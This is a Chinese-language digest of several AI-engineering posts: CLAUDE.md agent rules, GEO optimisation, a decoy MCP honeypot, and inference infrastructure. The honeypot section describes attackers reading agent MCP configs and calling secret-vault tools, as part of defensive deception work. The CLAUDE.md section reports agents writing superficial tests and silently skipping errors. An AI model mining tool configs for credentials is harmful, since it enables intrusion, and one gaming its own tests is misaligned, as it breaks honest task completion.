_Andrej Karpathy 在 2026 年初提出的 4 條 CLAUDE.md 規則是「防禦代碼生成錯誤」的神器。但在 Agent 可以自主連跑 20 個檔案的今天，這不夠了。Agent 會無限空轉燒光 Token、會在衝突的代碼風格中取「平均值」、會默默跳過錯誤。這新增的 8 條規則，是給現代 Agentic 系統裝上的煞車與檢查站。_
### 一句話
> 本文作者基於 Andrej Karpathy 著名的 4 條 CLAUDE.md 規則（思考後編碼、保持簡單、外科手術式修改、目標導向），在 30 個代碼庫實測後，發現它們無法應對「Agent 自動化時代」的新痛點（如多步長任務失控、沉默失敗、邏輯衝突）。作者新增了 8 條實踐規則（如：強制 Token 預算、設定檢查點、衝突時選邊站而不是和稀泥、大聲報錯），將 Agent 的出錯率從 11% 進一步壓低到 3%，並提供了完整的 12 條複製貼上範本。
### 餐巾紙草圖
```text
[The Evolution of CLAUDE.md Rules]
Jan 2026 (Karpathy's 4): "The Coding Floor"
1. Think Before Coding
2. Simplicity First
3. Surgical Changes
4. Goal-Driven Execution
-> Drops mistake rate from 41% -> 11%
May 2026 (The Agent Era 8 Additions): "The Orchestration Ceiling"
5. Code handles logic, Model handles judgment
6. Hard Token Budgets (Stop before context death)
7. Surface Conflicts (Don't average conflicting styles)
8. Read Before Write (Understand adjacent code)
9. Tests verify intent, not just execution
10. Checkpoint after significant steps (Save states!)
11. Conformance > Taste (Match codebase conventions)
12. Fail Loud (No silent skips)
-> Drops mistake rate from 11% -> 3%
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: Forrest Chang 將 Karpathy 對 Claude 的抱怨總結成 4 條 CLAUDE.md 規則，成為 GitHub 爆款。它解決了初期的代碼生成問題。
- **新痛點**: 隨著 Agent 工作流（多步操作、多檔案重構）的成熟，舊的 4 條規則出現了盲區：無預算限制導致無限空轉、沉默失敗、缺乏檢查點導致一子錯滿盤輸。
- **新增 8 條規則**:
- **邊界控制**: 不用模型做確定性邏輯（Rule 5）、強制 Token 預算上限（Rule 6）。
- **上下文理解**: 衝突時選一個而不是混合（Rule 7）、寫之前先讀上下文（Rule 8）、遵循約定勝過個人品味（Rule 11）。
- **執行護欄**: 測試必須驗證意圖（Rule 9）、多步任務必須設立檢查點（Rule 10）、大聲報錯（Rule 12）。
- **實測數據**: 擴充到 12 條規則並未降低依從性（Compliance 維持在 76%），但將出錯率壓到了 3%。
- **核心心法**: CLAUDE.md 不是許願池，而是「行為契約」。超過 200 行模型就不看了，只留防禦真實發生過的錯誤的規則。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Agent 的「努力」是毒藥**: 當 Agent 遇到無法解決的 Bug 或無窮無盡的錯誤日誌時，它不會主動停下來。它會耗盡上下文視窗，直到忘記最初的目標。Rule 6 (Token Budgets) 和 Rule 10 (Checkpoints) 就是用物理手段打斷這種類似「殭屍狀態」的無限迭代。
2. **LLM 的「討好型人格」災難**: 當代碼庫中同時存在兩種錯誤處理模式時，Claude 為了「不破壞兩邊」，會寫出結合兩者的「縫合怪」代碼（Average code）。Rule 7 強制要求它挑選其一並大聲說出來，克服了 LLM 預設的妥協傾向。
3. **成功標準的虛榮指標**: Karpathy 要求 Goal-driven，導致 Claude 學會了「寫極其膚淺的單元測試讓自己過關」。Rule 9 補上了這一塊，要求測試必須具備「業務邏輯變更時會報錯」的防禦力。
### 關鍵證據
- 作者提供了極具說服力的實戰災難紀錄（The moment）。例如，一個資料庫遷移看似完成，11 天後才發現 Claude 默默跳過了 14% 的報錯紀錄（催生了 Rule 12: Fail Loud）。這證明這些規則是用血淚換來的。
- 測試數據圖表：展示了 12 條規則在 200 行極限內，成功達到了覆蓋率與依從性的完美平衡。
### 隱形假設
- 假設底層的 Claude 模型依然具備遵循系統提示（System Prompt）的強大意願。如果模型架構改變，導致對 System Prompt 的依從性下降，這些文字約束可能失效。
### 邊界條件
- 如果你在進行的是極早期的架構探索（Prototype），Rule 2 (Simplicity First) 與 Rule 11 (Conformance) 可能會過度限制 Agent 的創造力，導致它不敢引入必要的新框架。作者自己也承認這點。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了稍早讀到的《寫好 CLAUDE.md 的 8 條經驗》中提到的「越短越好，200行上限」以及「規則必須可操作」。本文的 12 條規則全部是強動詞開頭（Define, Use, State, Pick），沒有「請用心寫」這種廢話。
- **深層洞見**: **「CLAUDE.md is not a wishlist. It's a behavioral contract that closes specific failure modes you've observed. (CLAUDE.md 不是許願池。它是一份用來封堵你所觀察到的特定失敗模式的行為契約。)」** 這句話是 Prompt Engineering 的最高境界。最好的 Prompt 不是憑空想像出來的，是被系統錯誤逼出來的「補丁」。
- **行動呼籲**:
立刻將文章末尾提供的 12 條英文 Template 複製並存為你專案根目錄的 `CLAUDE.md`。特別是如果你常讓 AI 幫你重構代碼，Rule 10 (Checkpoint) 和 Rule 12 (Fail Loud) 將為你省下無數個除錯的熬夜夜晚。
前沿技術
GEO 實戰指南：如何讓 AI 搜尋引擎找到並引用你的內容 (GEO AI Visibility)
"這是一篇反直覺的 GEO (AI 搜尋最佳化) 教學。作者指出 83% 的 AI 引用來自傳統搜尋前 10 名之外的網頁，因為 AI 在乎的是「結構清晰與資料具體」，而不是 PageRank 權重。文章給出了具體操作：在 放行 SearchBot 但封鎖 TrainingBot、在根目錄建立 與關聯網站矩陣、為每一頁提供無樣式的 Markdown 版本。最後警告：不要盲目相信那些叫你「加 FAQ 衝分數」的 GEO 稽核工具，數據證明純 FAQ 格式反而會降低引用率。"
---
tags: [前沿技術, 商業策略, 系統工程]
date: 2026-05-03
source: "20260512_2026-05-05T093942+0800-You Didn't Know GEO AI Visibility Principles, Practices, and Trade-offs.md"
---
# GEO 實戰指南：如何讓 AI 搜尋引擎找到並引用你的內容 (GEO AI Visibility)
原始來源與檔名：20260512_2026-05-05T093942+0800-You Didn't Know GEO AI Visibility Principles, Practices, and Trade-offs.md
來源：[[@HiTw93]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T093942+0800-You Didn't Know GEO AI Visibility Principles, Practices, and Trade-offs.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> GEO (Generative Engine Optimization) != SEO.
> AI Visibility = robots.txt (Allow SearchBot) + llms.txt (Summary) + llms-full.txt (Details) + Markdown Routes (`.md`).
> High Citation = Specificity (Data/Comparisons) + Depth (1k-3k words) + Natural URL Slugs + Authoritative Tone.
_傳統 SEO 是在爭奪 Google 前十名，而 GEO (生成式引擎最佳化) 則是讓 AI 系統（如 ChatGPT、Perplexity、Claude）能夠精準理解並引用你的內容。這篇文章從實戰出發，破解了許多 GEO 迷思（例如 JSON-LD 對多數 AI 無效）。作者強調，不需要為了 AI 寫垃圾廢話，而是要花一小時「重構內容的結構」，透過區分爬蟲權限、部署 `llms.txt` 標準、提供 Markdown 專屬路由，讓 AI 能在沒有雜訊的環境中讀懂你的產品與品牌。_
### 一句話
> 這是一篇反直覺的 GEO (AI 搜尋最佳化) 教學。作者指出 83% 的 AI 引用來自傳統搜尋前 10 名之外的網頁，因為 AI 在乎的是「結構清晰與資料具體」，而不是 PageRank 權重。文章給出了具體操作：在 `robots.txt` 放行 SearchBot 但封鎖 TrainingBot、在根目錄建立 `llms.txt` 與關聯網站矩陣、為每一頁提供無樣式的 Markdown 版本。最後警告：不要盲目相信那些叫你「加 FAQ 衝分數」的 GEO 稽核工具，數據證明純 FAQ 格式反而會降低引用率。
### 餐巾紙草圖
```text
[ How AI Discovers Your Site ]
Traditional SEO: Crawl -> Index -> Rank based on Backlinks.
Agent GEO:
1. ChatGPT/Claude user asks a question.
2. SearchBot checks your `robots.txt`.
3. Finds `llms.txt` at root -> Gets the site map and context.
4. Fetches `page.md` via Markdown route -> Avoids 80% HTML noise.
5. Cites your site because of high Semantic Similarity & Data Depth.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **AI 搜尋的本質**: 不是流量策略，而是品牌曝光策略。轉換率是傳統搜尋的 5 倍。
- **爬蟲的分類 (robots.txt)**:
- **Training (訓練)**: GPTBot, CCBot (建議封鎖，防白嫖)。
- **Search & Retrieval (檢索)**: OAI-SearchBot, PerplexityBot (必須放行，否則無法出現在 AI 回答中)。
- **User-triggered (用戶觸發)**: ChatGPT-User (必須放行，允許用戶貼網址給 AI 總結)。
- **基礎建設: llms.txt**: 針對 AI 設計的 Markdown 網站地圖與摘要。要將旗下所有網站的 `llms.txt` 互相連結，形成發現矩陣 (Discovery Mesh)。
- **降噪: Markdown 路由**: HTML 充滿雜訊（15k token 的網頁轉成 MD 只要 3k）。使用 `<link rel="alternate" type="text/markdown" href="/page.md" />`。
- **無效的迷思**: `<meta name="ai-content-url">` 沒人支援；隱藏的 JSON-LD 對 ChatGPT 和 Claude 幾乎無效（LLM 把它當純文本讀，無法理解結構）。
- **學術研究數據**:
- **具體性 > 廢話**: 有數據對比的頁面引用率高 50%。純 FAQ 格式反而扣分。
- **長度**: 甜密點在 1,000 到 3,000 字。AI 喜歡長文以便切割取用。
- **URL 語意**: `/projects/pake` 比 `/page?id=47` 的引用率高非常多。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **機器可讀性 (Machine-Readability) 是未來的 SEO**: AI 在檢索階段 (Retrieval) 可能撈出 100 個網頁，但最終只引用 15 個。它選擇誰？選擇「雜訊最低、語意最明確」的那個。這就是為什麼作者堅持要提供 `.md` 路由和 `llms.txt`：你幫 AI 省 Token 和運算成本，AI 就會優先引用你。
2. **AI 搜尋引擎的歧異性**: ChatGPT 引用少但挖得深（每條引用權重高 5 倍）；Perplexity 則是撒大網（引用數量是 Google 的兩倍多）。因此，針對不同平台的特性，內容必須兼具深度（為了 ChatGPT）與廣度/關聯性（為了 Perplexity）。
### 關鍵證據
- 引用了普林斯頓與印度理工學院在 KDD 2024 發表的 GEO 論文：加入「權威引用」提升 115% 可見度，加入「真實統計數據」提升 33%。
- 引用 SearchVIU 的實驗：將數據僅放在 JSON-LD 而不在畫面上顯示，5 個主流 AI 系統全數無法正確讀取，打破了 SEO 界認為 JSON-LD 對 AI 萬能的迷思。
### 邊界條件
- **引用不代表正確**: 作者在文末誠實警告，根據 CJR 的測試，高達 75% 的 AI 引用標記存在部分或完全錯誤（Hallucinated citations）。因此，GEO 只能確保「AI 更有機會看到你」，但無法保證「AI 不會曲解你的意思」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《可运行不等于可交付》中提到的 "DESIGN.md"，以及《The 5-Layer Architecture》中的 "CLAUDE.md"。我們正在進入一個 **"*.txt / *.md for AI"** 的時代。人類看 HTML UI，AI 看 Markdown 結構檔。
- **深層洞見**: **"Brands get cited 6.5x more often through third-party sources than through their own domains." (品牌從第三方來源被引用的機率，是自家官網的 6.5 倍)。** 這說明 AI 時代的公關，依然建立在 Reddit、Hacker News 等社群的口碑上。你的 `llms.txt` 只是提供了錨點，但話題的引爆點還是在人類身上。
- **行動呼籲**:
今天下班前，花 10 分鐘在你的公司官網根目錄建立一個 `llms.txt`。寫下一句公司簡介、五個核心產品 Markdown 連結，並宣告你們的官方 Github。這是 2026 年 CP 值最高的行銷動作。
前沿技術
在 Agent 時代佈局陷阱：打造誘餌 MCP 伺服器捕捉攻擊者 (Decoy MCP Server Honeypot)
"把你的 MCP 配置檔變成地雷區。當攻擊者黑進你的電腦，他們第一件事就是查看 Claude Code 或 Hermes 的設定檔，尋找高權限工具。這篇文章教你如何用 Cloudflare Worker 寫一個假的 MCP 伺服器，偽裝成「生產環境密碼庫 (Vault)」。一旦攻擊者的 Agent 試圖呼叫這個工具提取密碼，你不但會收到警報，還能看到他們下的 SQL 語法或搜尋關鍵字，將對方的偵查行動反轉為你的情報來源。"
---
tags: [前沿技術, 系統工程, 資安]
date: 2026-05-03
source: "20260512_2026-05-05T094100+0800-Build a Decoy MCP Server to Catch AI Agent Attackers.md"
---
# 在 Agent 時代佈局陷阱：打造誘餌 MCP 伺服器捕捉攻擊者 (Decoy MCP Server Honeypot)
原始來源與檔名：20260512_2026-05-05T094100+0800-Build a Decoy MCP Server to Catch AI Agent Attackers.md
來源：[[@lennyzeltser]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094100+0800-Build a Decoy MCP Server to Catch AI Agent Attackers.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Attacker Goal: Compromise dev machine -> Read `.claude.json` (MCP config) -> Pivot to infra.
> Defender Strategy: Inject fake "Vault" MCP entry -> Route to Cloudflare Worker (Honeypot) -> Alert on interaction.
> Decoy Design = Tempting tool names (`secrets_vault_read`) + Plausible Refusals (`Access denied. Incident logged.`) = High-fidelity Tripwire.
_在 Agentic Workflow 時代，你的 `.mcp.json` 或 `~/.claude.json` 設定檔成為了駭客眼中的金礦，因為裡面記錄了 Agent 可以存取的所有系統權限（如資料庫、GitHub 權限）。這篇資安文章提出了一個絕妙的主意：在配置檔中植入一個「誘餌 (Decoy) MCP Server」，指向你自己架設的 Cloudflare Worker (蜜罐)。當駭客取得開發機控制權並試圖用這個假的 MCP 伺服器去探勘機密時，Worker 會立刻觸發警報（如 Slack 通知），讓你精準捕捉攻擊者的意圖與行為。_
### 一句話
> 防禦新範式：把你的 MCP 配置檔變成地雷區。當攻擊者黑進你的電腦，他們第一件事就是查看 Claude Code 或 Hermes 的設定檔，尋找高權限工具。這篇文章教你如何用 Cloudflare Worker 寫一個假的 MCP 伺服器，偽裝成「生產環境密碼庫 (Vault)」。一旦攻擊者的 Agent 試圖呼叫這個工具提取密碼，你不但會收到警報，還能看到他們下的 SQL 語法或搜尋關鍵字，將對方的偵查行動反轉為你的情報來源。
### 餐巾紙草圖
```text
[ The MCP Honeypot Architecture ]
Attacker on Dev Machine
│
▼
Reads ~/.claude.json (MCP Config)
{
"github": "api.github...", <-- Real
"vault": "https://worker..." <-- Honeypot Decoy!
}
│
▼
Attacker sends MCP Request: `tools/call` -> `secrets_vault_read`
│
▼
[ Cloudflare Worker ]
1. Logs IP, User-Agent, Tool Args
2. Sends Alert to Slack Webhook
3. Returns: "Access denied. Incident logged."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **攻擊路徑 (Attack Vector)**: 攻擊者獲得開發機權限後，會去讀取 AI Agent 的配置檔 (如 `.claude.json` 或 `.mcp.json`) 來尋找值得下手的資源（Pivot 機會）。
- **防禦策略 (Honeypot/Tripwire)**: 在設定檔中混入一個虛假的 MCP 伺服器條目。只有攻擊者（或誤操作的本機 Agent）才會去嘗試連線。
- **建置 Cloudflare Worker 蜜罐**:
- 扮演真正的 MCP 伺服器，廣播誘人的假工具（如 `secrets_vault_read` 或 `production_db_query`）。
- 對於探勘請求，回傳逼真的拒絕訊息（如 `Access denied. Incident logged.`），讓攻擊者以為只是觸發了正常安控，而實際上參數已經被記錄。
- 將警告 Payload（包含來源 IP、User-Agent、呼叫的工具和傳入的參數）送到 Slack Webhook。
- **實作細節**: 建議使用原生的 `fetch` handler 而不是官方 MCP SDK，因為原生 handler 可以捕捉到被 SDK 丟棄的畸形探測封包，並獲取更多網路層資訊。
- **過濾誤報**: 為了防止自己的 Claude Code 每次啟動都觸發警報，需要在 `settings.json` 的 `disabledMcpjsonServers` 中排除這個誘餌伺服器。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **高保真度警報 (High-confidence signal)**: 在網路安全中，最怕的是誤報 (False Positives)。這個誘餌 MCP 只存在於設定檔中，沒有任何正常的業務邏輯會去呼叫它。因此，只要這個 URL 收到任何 `tools/call` 請求，有 99% 的機率是有人正在你的電腦上進行惡意橫向移動，這是一個極高價值的警報訊號 (Tripwire)。
2. **意圖捕捉 (Capturing Intent)**: 與傳統的端口掃描器不同，MCP 的 `tools/call` 負載會包含具體的參數 (args)。例如 `{"sql": "SELECT * FROM users"}`，這讓防禦者可以直接看到攻擊者「到底在找什麼」，從「發現有人入侵」升級為「理解敵人的意圖」。
### 關鍵證據
- 結合 AWS Canarytokens 的運用：作者提到可以在回應中故意給出一組假 AWS 憑證 (Honeytoken)。當攻擊者以為挖到寶並在外部嘗試使用這組 AWS 憑證時，會觸發第二道警報。這是資安領域經典的「深度防禦與欺敵戰術 (Deception Technology)」。
### 邊界條件
- **安全防護漏洞**: 作者警告，送往 Slack 或 SIEM 的警報 Payload 包含了攻擊者提供的參數（如 SQL 語法）。如果沒有進行適當的淨化 (Sanitize)，精明的攻擊者可能會利用這個警報系統發動二階注入攻擊 (Second-order injection)。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文與《工業級 Skill 撰寫指南》形成對比。在那裡，我們討論如何讓 Agent 更強大；而在這裡，我們討論當 Agent（或控制 Agent 的人）變成敵人時，如何防禦。MCP 作為標準協議的普及，不可避免地帶來了標準化的攻擊面。
- **深層洞見**: **"The decoy turns the attacker's reconnaissance into yours." (誘餌將攻擊者的偵查行動轉化為你的偵查行動)。** 這是資安攻防中最優雅的藝術。最好的防禦不是建一道無堅不摧的牆，而是建一扇看起來沒鎖的門，門後接著警鈴與攝影機。
- **行動呼籲**:
如果你的開發機上運行著 Claude Code、Cursor 或 Hermes，且綁定了公司內網的敏感資料庫 MCP，強烈建議花 15 分鐘建立這個 Cloudflare Worker 蜜罐。把它命名為 `production_vault` 塞進你的 `.claude.json` 中，為你的開發環境加上一道無形的絆線。
前沿技術
拒絕二手廢料：如何在 YouTube 建立 AI 產業的一手資訊庫 (First-hand AI Information)
"如果你想理解 AI 系統而非只會用工具，請停止閱讀二手包裝文章，直接去聽一線大神的原始分享。這篇文章提供了一份極具價值的 YouTube 訂閱指南。作者強調，真正的趨勢線索，往往藏在開發者大會的上下文，或是投資人播客的隨口一句話中。文章建議將 YouTube 當作「認知差」的建立工具：看官方演示思考產品方向、看大會分享留意新問題、聽訪談記錄反覆出現的關鍵字。"
---
tags: [前沿技術, 思維模型, 工具資源]
date: 2026-05-03
source: "20260512_2026-05-05T094020+0800-如何在 YouTube 上找到 AI 行业的一手信息？.md"
---
# 拒絕二手廢料：如何在 YouTube 建立 AI 產業的一手資訊庫 (First-hand AI Information)
原始來源與檔名：20260512_2026-05-05T094020+0800-如何在 YouTube 上找到 AI 行业的一手信息？.md
來源：[[@Smartpigai]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094020+0800-如何在 YouTube 上找到 AI 行业的一手信息？.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI Knowledge = (Podcasts + Conf + Official + Tutorials + Karpathy) * Active Thinking.
> Second-hand knowledge = Fragmented tutorials + Clickbait summaries.
> First-hand knowledge = Founders' casual remarks + Engineer's deep dives + Investor's logic.
_許多人學習 AI 只盯著二手總結和社群媒體上的碎片化熱點，導致認知永遠慢半拍且充滿雜訊。這篇文章提倡將 YouTube 從「娛樂平台」轉變為「AI 產業的第一手資料庫」。作者將高品質的 AI 資訊來源分為五大類：深度訪談播客 (如 Latent Space)、頂級大會分享 (如 Sequoia AI Ascent)、官方發布會與開發者大會 (如 OpenAI/Anthropic)、實戰教學頻道，以及 Andrej Karpathy 的硬核底層解析。_
### 一句話
> 如果你想理解 AI 系統而非只會用工具，請停止閱讀二手包裝文章，直接去聽一線大神的原始分享。這篇文章提供了一份極具價值的 YouTube 訂閱指南。作者強調，真正的趨勢線索，往往藏在開發者大會的上下文，或是投資人播客的隨口一句話中。文章建議將 YouTube 當作「認知差」的建立工具：看官方演示思考產品方向、看大會分享留意新問題、聽訪談記錄反覆出現的關鍵字。
### 餐巾紙草圖
```text
[ The Information Pyramid ]
/ Karpathy (First principles) \
/ Official Channels (API) \
/ Conference Talks (YC, Seq) \
/ Deep Podcasts (Latent) \
/-------------------------------------\ -> First Hand (Where alpha lives)
/ Twitter Summaries / Newsletters \
/ TikTok / Short form hype \ -> Second Hand (Noise)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心痛點**: 學習 AI 時，二手總結和熱點解讀會讓人失去對真實產業現場的判斷力。
- **五大資訊來源**:
1. **深度訪談播客**: Lenny's Podcast, Latent Space, Dwarkesh Podcast, Lightcone。看產品判斷、能力邊界、組織變化。
2. **大會分享錄影**: YC Startup School, Sequoia AI Ascent, Stripe Sessions, Figma Config。看創業者與投資人正在解決什麼實際問題。
3. **官方頻道**: OpenAI, Anthropic, Google DeepMind。看開發者生態、API 更新，判斷「公司希望開發者怎麼用模型」。
4. **實戰教學**: 關注 Mckay Wrigley 等人。看別人如何把模型能力接到真實工作流和 Agent 之中。
5. **Andrej Karpathy**: 建立 LLM 底層理解 (神經網路、Token、訓練過程) 的必看頻道。
- **使用方法論**: 不要當娛樂流刷。要抓關鍵字、留意新問題、思考背後方向，並親手復現。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **資訊失真理論**: 整理過的文章（二手資訊）通常已經過濾掉了語氣、猶豫、以及原本的上下文。而在 AI 這個快速變動的領域中，一個開發者在大會上的「抱怨」或「踩坑經驗」，價值遠高於成功案例的包裝。
2. **生態系意圖**: 觀看官方頻道的重點不在於「新功能有多酷」，而是「官方預期的開發範式是什麼」。了解官方的意圖，才能避免開發出「下個月就被官方原生功能取代」的工具（即所謂的 "OpenAI Wrapper" 陷阱）。
### 關鍵證據
- 點名了業界公認的高品質資訊源，如 `Latent Space` (專注於 AI 工程師視角的深度 Podcast) 與 `Dwarkesh Podcast` (以深度提問著稱，常訪問一線大廠 CEO 與核心研究員)。
### 邊界條件
- **時間成本**: 聽完一集 2 小時的 Dwarkesh Podcast 成本極高，並不是每個人都有這個時間。這套方法論適合想要在 AI 領域創業、深耕系統工程，或是作為 AI 產品經理的從業者。對於純工具使用者，優質的二手資訊可能依然是最具性價比的選擇。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇《GEO 實戰指南》中提到的：品牌權威性來自「第三方引用」與「具體深度」。Andrej Karpathy 能被神化，正是因為他的影片具備極高的深度 (Depth) 與還原底層原理的能力。
- **深層洞見**: **"很多时候，一个访谈里随口提到的一句话，可能就是下一个方向的线索。"** 這句話點出了建立「商業直覺」的本質。直覺不是天生的，而是由大量的第一手雜訊與細節在大腦中堆疊、壓縮而成的潛意識網路。
- **行動呼籲**:
今天打開 YouTube，搜尋 `Latent Space` 或 `Dwarkesh Podcast`，挑選一集感興趣的標題放進稍後觀看清單，在下次通勤或做家事時當作背景音聆聽。不要試圖記住所有細節，只要感受他們討論的「頻率」與「焦點」。
前沿技術
推理側 AI Infra 的戰略價值：新雲 (Neoclouds) 如何主導推理時代 (AI Inference Infra & Neoclouds)
"這是一篇將 AI 技術底層與資本市場邏輯打通的重磅深度文。作者直言：未來的 AI 戰爭，一半在模型，另一半在 Infra。同樣的 GPU 硬體，在不同的軟體 Infra（如 KV cache 管理、連續批處理、MoE 路由）優化下，產出的 Token 數量可以相差高達 105 倍！這也是為什麼 Nebius 等新興 AI 雲廠商不僅瘋狂搶購 GPU，還要收購 Eigen AI 這樣的推理優化公司。因為新雲的利潤來源不再只是「租硬體」，而是「透過極致的軟體優化，低成本印出高品質的 Token」。"
---
tags: [前沿技術, 商業策略, 系統工程]
date: 2026-05-03
source: "20260512_2026-05-05T094032+0800-推理侧AI Infra的战略价值：为什么新云正在成为推理时代的核心战场.md"
---
# 推理側 AI Infra 的戰略價值：新雲 (Neoclouds) 如何主導推理時代 (AI Inference Infra & Neoclouds)
原始來源與檔名：20260512_2026-05-05T094032+0800-推理侧AI Infra的战略价值：为什么新云正在成为推理时代的核心战场.md
來源：[[@yiran2037840]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094032+0800-推理侧AI Infra的战略价值：为什么新云正在成为推理时代的核心战场.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Training = Creating the Brain. Inference = Operating the Body.
> AI Competitiveness = Model Weights + Inference Infra (KV Cache + Batching + Routing).
> Neoclouds (GPU-first) + Optimization Software = 10x Throughput = Higher Margin & Lower Latency.
_當大家還在比較哪個 LLM 跑分高時，戰場早就轉移了。這篇文章深入探討了 AI 基礎設施（AI Infra）在 2026 年的核心戰略地位。作者指出，隨著推理（Inference）工作量預計佔據整個 AI 算力的三分之二，「如何把模型以最低成本、最高速度提供給全球用戶」成為了商業生死線。文章剖析了 vLLM、PagedAttention 等底層軟體優化如何帶來 14 倍的吞吐量差距，並解釋了為什麼專注於 AI 算力的「新雲 (Neoclouds)」(如 Nebius) 正在吞噬傳統雲廠商的市場份額，甚至迫使科技巨頭提前以百億美金「鎖定算力」。_
### 一句話
> 這是一篇將 AI 技術底層與資本市場邏輯打通的重磅深度文。作者直言：未來的 AI 戰爭，一半在模型，另一半在 Infra。同樣的 GPU 硬體，在不同的軟體 Infra（如 KV cache 管理、連續批處理、MoE 路由）優化下，產出的 Token 數量可以相差高達 105 倍！這也是為什麼 Nebius 等新興 AI 雲廠商不僅瘋狂搶購 GPU，還要收購 Eigen AI 這樣的推理優化公司。因為新雲的利潤來源不再只是「租硬體」，而是「透過極致的軟體優化，低成本印出高品質的 Token」。
### 餐巾紙草圖
```text
[ The Shift in AI Compute ]
2023: Training (66%) | Inference (33%)
2026: Training (33%) | Inference (66%)
[ The Infra Multiplier Effect ]
Hardware: 1x NVIDIA B300
Infra A (Basic): 1,000 tokens/s -> Bankruptcy
Infra B (Optimized: vLLM + SpecDec + MTP): 14,000 tokens/s -> Huge Margins
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **什麼是 AI Infra**: 不只是 GPU 和機房。它是分散式調度、KV Cache 管理、連續批處理 (Continuous Batching)、投機解碼 (Speculative Decoding) 等一套極其複雜的「循環系統」。
- **推理成為主戰場**: 訓練是造車，推理是上路。前沿模型（Reasoning / Agentic）一次呼叫動輒消耗上萬 Token，如果推理成本降不下來，商業模式就會崩潰。
- **軟體優化的巨大槓桿**: 相同的硬體，好壞 Infra 的差距被無限放大。vLLM 引入 OS 分頁思想 (PagedAttention) 使吞吐量翻倍；結合 MTP 等優化，硬體吞吐量甚至能差 14 倍；Benchmark 顯示不同 Provider 的速度差距達 105 倍。
- **算力鎖定戰**: Anthropic 與 AWS/Google 簽訂十年百億美金合約。因為算力建設週期長（機房、電力、液冷），頂級 AI 公司必須提前「鎖算力」。
- **新雲 (Neoclouds) 的崛起**: AWS/Azure 是通用雲。Neoclouds 則是純為大規模 GPU 集群、高密度液冷設計的 AI Compute Utility。連微軟和 Meta 都砸百億美金向 IREN, Nebius 等新雲買算力。
- **Nebius 收購 Eigen AI 的意義**: 新雲的競爭進入第三階段：比拼「推理效率」。收購優化公司是為了把 GPU 加上 Kernel Fusion、記憶體管理打包成 Production AI Platform。利潤池來自於「同樣的硬體榨出更多的 Token」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **軟硬體解耦與再融合 (Hardware-Software Co-design)**: 過去買雲端服務，CPU 是標準品。但在 AI 時代，GPU 只提供理論峰值 FLOPS，實際的 MFU (Model FLOPs Utilization) 完全取決於軟體層的調度。作者引用 SemiAnalysis 的數據（B300 跑 DeepSeek R1 軟體優化帶來 14 倍吞吐提升）強而有力地證明了 Infra 不只是工程問題，而是財務問題（影響 IRR）。
2. **新雲的破局點**: 傳統雲為了照顧 Web 服務、資料庫等繁雜業務，架構上無法做到極致的 AI 網路拓樸（如全量 IB 網路）。新雲放棄了通用性，專注於「AI 算力的高效交付」，這成為了它們在巨頭夾擊下切出一塊高利潤市場的根本原因。
### 關鍵證據
- Deloitte 預測 2026 年推理工作負載將佔 2/3。
- Artificial Analysis 評測顯示，跑開源 120B 模型，最快與最慢的提供商速度相差高達 105 倍。
- Anthropic 鎖定 AWS 5GW 電力與千億合約；微軟向 IREN 下單 97 億美元；Meta 向 Nebius 下單 270 億美元。
### 邊界條件
- **摩爾定律與硬體演進**: 作者強調軟體層推理優化的價值。但如果未來硬體架構發生根本性突變（例如 SRAM 成本驟降、存算一體晶片成熟），導致 Memory Wall (記憶體牆) 被物理性打破，那麼當前依賴複雜 PagedAttention 換取頻寬的軟體護城河可能會被削弱。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇《優化 7 個 Token 消耗陷阱》中提到的「成本飆升」。用戶端在想辦法減少 Token 開銷，而雲端供應商在想辦法降低 Token 生產成本。這揭示了 2026 年 Agentic Workflow 全面普及後，雙方都在對抗「Token 暴漲」這個終極物理限制。
- **深層洞見**: **"模型決定智能的高度，Infra 决定智能的可达性。" (Model sets the ceiling of intelligence, Infra sets the reachability).** 這句話極具哲理。強大的模型如果每秒只能吐 2 個 Token，它永遠無法驅動即時的對話或複雜的 Agent 思考鏈。真正的普及，是發生在邊際成本趨近於零的時候。
- **行動呼籲**:
如果你在評估企業的 AI 供應商，請停止只看模型的「參數大小」或「基準測試分數」。去查他們的首字節延遲 (TTFT)、生成吞吐量 (Token/s/GPU) 以及並發承載力。這才是決定你應用程式生死的使用者體驗核心。
前沿技術
焦慮方向搞錯了：不是 AI 取代你，是會用 AI 的人淘汰你 (The Producer's Perspective on AI)
"從「受害者視角」切換到「生產者視角」。你不再隸屬於任何組織，你只屬於市場。在這個邏輯下，AI 不是來取代你的敵人，而是你用來在市場上增加自身價值的超級槓桿。每一次技術革命都沒有讓人變閒，AI 也不會；它只會把原本需要三個專業人士的活，壓縮給一個懂得指揮 AI 的「多面手」來完成。你要做的，就是成為那個多面手。"
---
tags: [前沿技術, 思維模型, 認知框架]
date: 2026-05-03
source: "20260512_2026-05-05T094049+0800-担心被 AI 取代不如用 AI 让别人失业.md"
---
